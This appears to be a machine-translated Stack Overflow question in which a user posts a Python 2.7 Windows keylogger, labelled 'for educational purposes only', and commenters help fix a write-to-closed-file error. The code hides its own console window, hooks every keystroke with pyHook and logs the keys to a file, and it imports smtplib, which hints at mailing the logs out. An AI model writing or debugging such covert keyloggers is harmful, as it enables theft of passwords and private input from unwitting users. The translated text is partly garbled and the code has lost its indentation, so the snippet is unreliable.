Так что я пытаюсь сделать кейлоггер (только в образовательных целях) и здесь мой кодкод ошибки Python при создании кейлоггер (образовательные только цели)
#!/usr/bin/env python
import pyHook
import pythoncom
import win32gui
import win32console
import time
import smtplib, os
log_file = "d:\control.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages()
после запуска кода я получаю пару ошибок, как это
Traceback (most recent call last):
File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Python278\logger.pyw", line 22, in pressed_chars
f.write(char) # (write char)
ValueError: I/O operation on closed file
Я сделал так, чтобы всякий раз, когда я нажимал символ «Q», программа заканчивала запись нажатий клавиш. Но если я введу следующий код: «exit()» между строками 19-20, программа работает нормально, но выходит, прежде чем сможет что-либо сделать. Я пытался решить это самостоятельно, но я не могу заставить его работать так, как я этого хочу. Есть идеи? Кстати, с помощью Python 2.7.8.
', если символ == "д": f.close() [СНиП] f.write (символ)'. Вы видите проблему? –
Я думаю, он не может записать символ, если файлы журнала закрыты, верно? –
Бинго. Либо напишите символ перед тем, как закрыть файл, либо не напишите его вообще. –